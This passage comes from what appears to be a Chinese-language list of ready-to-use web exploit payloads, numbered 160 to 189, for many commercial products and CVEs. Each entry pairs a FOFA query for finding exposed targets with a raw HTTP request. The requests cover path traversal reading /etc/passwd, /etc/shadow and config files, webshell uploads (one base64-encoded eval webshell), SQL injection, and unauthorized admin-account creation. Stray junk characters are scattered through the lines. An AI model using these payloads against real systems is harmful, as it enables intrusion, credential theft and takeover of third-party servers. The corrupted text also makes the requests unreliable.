0 c6 P2 m: }  o; P" g( X<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
& Q, y# C' v2 V4 c; j& t/ H</jobUpload>
</soap:Body>
# I' z% w, F& @+ C+ w. M0 [</soap:Envelope>


7 a0 Y# w8 o$ e1 A: H, N! b/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
8 ^$ }6 |" a1 |3 l2 r- g
  E) h% d9 y  F$ s2 i! N2 h, E# [
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
0 ~& ~9 I3 p4 {$ dConnection: close
& q; S% t7 l% d* {8 W0 q5 [4 i% b- AAccept: */*
Accept-Language: en
/ w' e1 ]9 o% CAccept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
, y! L6 T+ v( @/ cPOST /Webservice.asmx HTTP/1.1
% n, x# k8 p0 }7 T  h$ z- ^( tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
8 p7 l" a8 Z" n2 W% o0 \Connection: close
& m$ [! X2 D8 e2 t4 |Content-Length: 445
Content-Type: text/xml
0 j5 N. C8 ?% a2 WAccept-Encoding: gzip

6 C3 @  P* p' h& {, }1 |% w8 P<?xml version="1.0" encoding="utf-8"?>
! I' p+ i5 J# w8 b; z' F, c7 g<soap:Envelope xmlns:xsi="
2 \7 o8 k7 g* @4 x2 d3 Mhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
$ _0 d5 T3 @8 S<soap:Body>
, Z7 U; |2 S& a( N+ G1 G<UploadResume xmlns="http://tempuri.org/">
/ v( W7 b: ]3 \% R<ip>1</ip>
& E1 q$ f, J% x/ E- K<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
8 `& u2 J  E2 ?( T2 X  u<tag>3</tag>
</UploadResume>
( E" ~: [/ x0 m4 H7 X5 k; F</soap:Body>
" ~$ b4 m; C2 Y. t" G</soap:Envelope>
9 L( R/ `0 o% E, g; I
! G. N" E) R: H, F
http://x.x.x.x/dizxdell.aspx
- x* A) _, ?& i, z
6 ^0 Q0 u( A2 b: k6 N162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
; O2 j4 M+ {$ y# ~FOFA: app="和丰山海-数字标牌"
$ [3 m; j7 ?) O: OPOST /QH.aspx HTTP/1.1
+ j+ Y# x% c( {0 g! l5 \( }/ F/ WHost: x.x.x.x
5 @0 s1 a) o/ Q7 l( j2 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
* |: B: l7 k4 j2 t! y$ Z4 m7 F1 MConnection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
+ G- i) E8 C) SContent-Type: application/octet-stream
( b9 a: T7 H1 g  F) h/ C5 V
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
: y' s! O' K9 O2 o& |) z- T, Y- wContent-Disposition: form-data; name="action"
$ i! C) o% U) z$ I+ F/ P  v
upload
------WebKitFormBoundaryeegvclmyurlotuey
% t" q( j7 ^. T4 @' r' ?1 qContent-Disposition: form-data; name="responderId"
- a$ K- j! s" V2 z. S- b
1 T/ |3 _( w$ e, I  _1 j5 XResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
6 {3 b$ s, E8 d/ T5 |& L4 hContent-Disposition: form-data; name="remotePath"
, h# g. w6 l3 }0 F; N# P  i
0 q2 {4 G; w, i3 @; N5 H/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
: z0 e1 p' w- O/ ^
; d1 C# }- J5 W1 u: {
! k$ ]) y: b1 n+ y+ `& Lhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
. X  a& F6 b& U! QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
+ b; z! C% W3 Y# }1 |% AConnection: close
# @' X  T; r; `Content-Length: 293
7 y/ k+ r/ X7 N) p! h' f/ G& JAccept: */*
! z, o- [& P* f) @1 b4 l6 uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
5 B- x* U6 \* X6 l/ J
------iiqvnofupvhdyrcoqyuujyetjvqgocod
& v8 {$ I9 ?( I1 I1 OContent-Disposition: form-data; name="name"
8 G& l* i0 a. G
5 C" m4 Z. p, e" X1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
/ n1 ]5 ?$ `" v5 n/ C
1 h1 q& @4 r4 }8 N* orvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

$ m( ~: z" b' g5 k# t% F. ~1 Q
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
/ [8 U/ {! N8 x$ g2 @# ]* @' K/ E3 kPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
6 ~4 _: ?) S% P; \3 S' OConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
3 T$ t3 Y3 ?( {, B" E) VX-Requested-With: XMLHttpRequest
& j& v2 s  x5 N9 S( E: K1 QAccept-Encoding: gzip
! m+ Y. K# n& g! u0 ]
" g9 b. K, l6 n------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
: D/ G5 ?1 L5 zContent-Type: image/jpeg
% ~( E) B; C$ }, Y4 \6 A+ n
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
' w, `( e& S9 R7 l
; [! ~+ q( l1 N* {
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

5 p; @3 `1 {% ^1 S165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
0 O7 p3 S: D0 ^5 q9 sFOFA: app="OrangeHRM-产品"
* o1 V' ~' b+ K$ A: JURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
; T4 h% X/ b9 A, u

166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
9 ~0 [# V& [# l6 BPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
8 m9 t* o4 D0 ?7 a, s8 fHost:
Pragma: no-cache
  J; A5 X/ Q8 N9 i! Z$ dCache-Control: no-cache
3 @. p& l$ k, LUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) i, j7 r8 Q9 D$ W, x3 ^$ }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 ~/ \- @  M0 `( p2 NCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
+ [) _$ o) K: L3 `6 ?1 {- \
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
% L* q& o6 r2 f3 `

' n- @- I; g3 K1 Y( ^8 M0 i- d167. 精益价值管理系统 DownLoad.aspx任意文件读取
& J6 N* I* W' d; FFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
! A3 A( _, I7 A& dGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 C, [5 H$ O2 ?; IContent-Type: application/x-www-form-urlencoded
- b" y5 Y' v  l  o, M( fAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
$ G: c; q7 V/ j( q, [& G

  M0 ^# A/ c/ i: @) L' \& e' e168. 宏景EHR OutputCode 任意文件读取
7 N. |1 z% T5 a  v  \FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
4 p' i8 p, l. Q0 K' a. Y/ x. \Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
7 D. u& e! j# N! a0 ^Content-Type: application/x-www-form-urlencoded
! g1 W" R; G5 y) c& n% m. {2 XConnection: close
6 X0 Q9 }( T* x! h
5 i% o* W: z# w6 }0 J2 w( D
( }" r+ s$ \5 l# D5 ?6 q4 ]4 a
" T* H: w* O$ Q+ N3 r5 c9 ^3 ~+ g169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
" n& A6 y' D: |( {- E6 L; AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* w) F3 c* s$ Z: @' XAccept: */*
Accept-Encoding: gzip, deflate
7 P$ \* f5 I9 d/ v) FConnection: close


5 z0 [8 t3 u8 P  o
8 Z1 c, v% z. Q, ^  u170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 V7 b- b8 R, z6 \Content-Type: application/x-www-form-urlencoded
; |& O) s- U' \: D1 q0 U) J
1 j4 R# O- z2 o( }filename=../webapps/ROOT/WEB-INF/web.xml
, o9 A4 L0 e. N' G
5 a' e# r* [6 B9 S5 f
6 @* s) y4 }! w+ s# J% f5 o! O171. 通天星CMSV6车载定位监控平台 SQL注入
; z5 H( ~0 w% _0 q; P8 _FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( C9 O2 @$ l, h$ e# |Accept-Encoding: gzip, deflate
Connection: close

+ k# H$ [( X$ K

172. DT-高清车牌识别摄像机任意文件读取
1 M/ z6 Y; q, W, u2 `0 f2 U" j% SFOFA：app="DT-高清车牌识别摄像机"
7 v7 Y/ I" k, e2 y5 U: {GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
$ Z% S% x9 H! A0 ^8 d0 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
/ y0 l' x; @: S" TConnection: keep-alive
) H$ k6 `+ u9 D# s) l

/ W& f0 W* l; f& B
& e) h7 z8 o+ e  F6 a" d173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
6 r4 ?$ V4 w3 L& B0 l- G* ?POST /clients/MyCRL HTTP/1.1
0 u8 r5 T/ e0 M- b+ kHost: your-ip
1 y3 u8 z+ n+ G! H0 y" a3 QContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
7 r% v* u( i, E+ D! X( [

1 F7 t7 A7 M) H( c7 i0 U
# s8 a3 S# L# Y& \. i174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
4 N" U; Z( L; [( q# `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
$ y* A9 B9 c4 S/ g) yAccept-Language: zh-CN,zh;q=0.9
' O3 {0 P; b( V' v) d. O$ OConnection: close


4 `* Z+ S, \& p; A* i
* c; ~3 d4 ?2 p0 W: E8 q' ~: Z1 ?) E175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
+ Z( o* f1 }& C1 K8 q, D5 g. hGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
+ M4 C' n7 e, Y3 w4 m+ uHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) C) i$ d4 ]! @  _3 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- |4 b8 O( ?: j1 e# A( i  tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# ~$ F1 G1 E  s8 v! VAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
, W+ m7 r/ \  D, ]( {+ H

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
! O  [- f9 ~- P  hPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
" ]" E; A+ O; Y3 Z- cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
" A* K( b; b5 q& J7 |Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
2 ~! U- n. F. aConnection: close
  F* s% G6 b( H+ ]
( ?' d9 }$ y0 m# q" m------WebKitFormBoundaryOKldnDPT
$ }- G2 A5 c4 H' c% i" TContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
7 d+ O: [7 p4 y6 [
<?php system("cat /etc/passwd");unlink(__FILE__);?>
! q) x" M& @8 _& P$ V8 r------WebKitFormBoundaryOKldnDPT
6 U2 P) ~1 W# LContent-Disposition: form-data; name="uploadtime"
0 w# W) t$ {  ^- S7 {& Z9 Z
, K9 H/ C, b2 m2 K" h
" @2 x1 ~2 ^' _1 _/ ^, ]------WebKitFormBoundaryOKldnDPT--



177. H3C路由器敏感信息泄露
- t, X4 G: o5 ^. Q1 T) v( G/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
0 q+ k/ d1 }6 i: p/userLogin.asp/../actionpolicy_status/../M60.cfg
! t  a( s$ d6 ~6 `7 @/userLogin.asp/../actionpolicy_status/../GR8300.cfg
+ f& ?( A  w/ s7 h& R/userLogin.asp/../actionpolicy_status/../GR5200.cfg
) i5 D5 \! ^  S: `7 B/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
! d; H5 t- `/ x+ P8 W/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
7 ?8 A+ j/ W/ Y7 S, K) r/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
) R+ [8 G  m. w" m9 l/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
+ x+ j, I* r" p/userLogin.asp/../actionpolicy_status/../ER3260.cfg
; Y% L3 N# B' N$ s/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
$ q! v- D9 k0 e" \/userLogin.asp/../actionpolicy_status/../ER3200.cfg
0 K4 e: C# c/ U" ?1 B8 \; p7 _1 u/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
' w% K: S( J. {* d8 U# S' E/ G/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
' E& E9 Z) G! m, w' d
4 Q4 F) D! O! I% [: U# A6 }
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
3 H9 u+ V8 x; v4 L( mFOFA：header="/selfservice"
7 Y' v7 b, p# V$ E( @* yPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
6 `2 M% z8 G7 E5 o2 n6 n2 K% _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
$ ^8 G7 h" X6 nContent-Length: 252
Accept-Encoding: gzip, deflate
6 Y7 X. V$ J. G& F5 O  rConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
6 }. R0 R1 Q8 L! |$ d3 O-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
8 x: c2 t/ Y% C; g3 S) EContent-Length: 255
' ^& H8 p* P$ O5 e) x
# v" a% x/ c, S4 `2 }- N4 c5 x12234
-----------------aqutkea7vvanpqy3rh2l--

5 b8 c! y4 `3 }& |# e
0 X5 C5 G; g& K" E& X+ b9 qGET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
9 o( K2 f; Y; Z  Z. V+ lPOST /Common/DownLoad2.aspx HTTP/1.1
* j8 J# ]! Q, Z/ u9 OHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
$ _/ o. E; ^8 j6 NUser-Agent: Mozilla/5.0

path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
! T& U2 D( ?: e, e# c+ VFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
; i/ ^" g! d8 q$ o7 \% eHost: your-ip
& y& b% B/ U: d+ F4 R. ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 J0 E) i& h% CAccept-Encoding: gzip, deflate
1 Q+ m& J2 }6 H+ ]( IAccept-Language: zh-CN,zh;q=0.9
Connection: close
" h* X# k" A. \* }/ ^

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
5 q8 W# M# k  [FOFA："PDCA/js/_publicCom.js"
' N! |& e2 C% M* f3 APOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
3 d0 N( d+ [9 ^Host: your-ip
7 I$ P+ J9 L, @% tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
  T# w2 @- G2 K0 ?2 n3 X" s6 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 H' F1 Q  c' c* HAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
( N/ T+ q# ^( o: u9 k2 AConnection: close
Content-Type: application/x-www-form-urlencoded

' K+ X3 H* ^& C$ [7 S3 A, ]
7 ^- g# I- I# E' ~# b( c5 J7 N5 oaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
" _! \: D9 L: q0 C. P  F, n9 s
0 c+ U; k. Q) d& k0 K
( A; Q' R1 x, x182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
! u0 G0 S1 j$ EFOFA："PDCA/js/_publicCom.js"
& h1 I* m. A( i+ c8 vPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
8 ~% i! c- p& D1 ~& N* i: a1 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# X# G; Q2 C/ J* o' z6 _Accept-Encoding: gzip, deflate, br
% X3 x7 F, J7 w1 VAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

# d2 D9 G5 c3 X9 h! r. @# ~9 N
5 ~& P) u3 W' r* M' D; u  F; z9 L% Pusername=test1234&pwd=test1234&savedays=1

$ x. i: m# w3 Q# g7 v1 G
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
! q' y4 O4 `' `2 o7 V. T* B% m# _GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
+ M7 V% {( v8 m5 a0 GConnection: close


184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
# v. R  R+ X2 k, D- OFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
0 i8 |  v& n; j* x" aAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& m# w" }/ H) `3 oAccept: application/xml, text/xml, */*; q=0.01
3 y# R  r2 s. wContent-Type: text/xml; charset=utf-8
$ q* U5 e6 l+ D+ D$ O2 p/ O# P6 B; q, TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
' Z3 D9 ?& t1 I8 ]

6 M% U4 d- ~* v; C$ t& {$ }7 j185. 瑞友天翼应用虚拟化系统SQL注入
2 t, w( |/ F, {1 a6 a& b# i0 zversion < 7.0.5.1
$ w% A9 b& {) K- MFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
% V# a. P/ X+ f0 H( @Host: host

5 y% N5 A( g1 Y2 v
0 f0 b- @2 @- W1 E' U- [186. F-logic DataCube3 SQL注入
7 Q( W! d6 h6 }2 sCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
, k; p3 _/ L2 ?" G& J* S% ^FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
& A! c) H' E: z6 l3 {8 T$ \7 uHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 i: z# L1 u& t1 @( vAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
5 i+ y) B% \+ |
0 T; W. W+ u* m$ oreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
1 C; N! w: F) H. `! N. ^& C* @0 V

187. Mura CMS processAsyncObject SQL注入
& u. {7 [/ O8 c  G; `+ _( ^) L1 `CVE-2024-32640
1 z1 p% o5 E. BFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
) k! Q+ V% x& i" \. V+ THost: your-ip
& K2 u0 J7 Z" b& MContent-Type: application/x-www-form-urlencoded
+ _; Y. U' Z: y3 O) O# F

object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


+ z% Q% R. P  r. M/ d0 T188. 叁体-佳会视频会议 attachment 任意文件读取
' }) x& R, O9 d. @version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
% X! o% O) ~5 R9 @3 XHost: your-ip
% H- b' i9 P0 g' G( KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" K# `. F0 J: r9 m" UAccept-Encoding: gzip, deflate
) U  ^9 q( O9 H& G1 x. p0 _Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
9 a; @  J# s' A0 Q- ^, uConnection: close
" Y& h4 j0 X9 q  {6 t4 X" q
. m; c$ ^9 @, h7 }+ l
* @; W+ M+ L! L0 q7 K) x189. 蓝网科技临床浏览系统 deleteStudy SQL注入
. ]4 L$ I& I/ [. k# {9 `FOFA：app="LANWON-临床浏览系统"
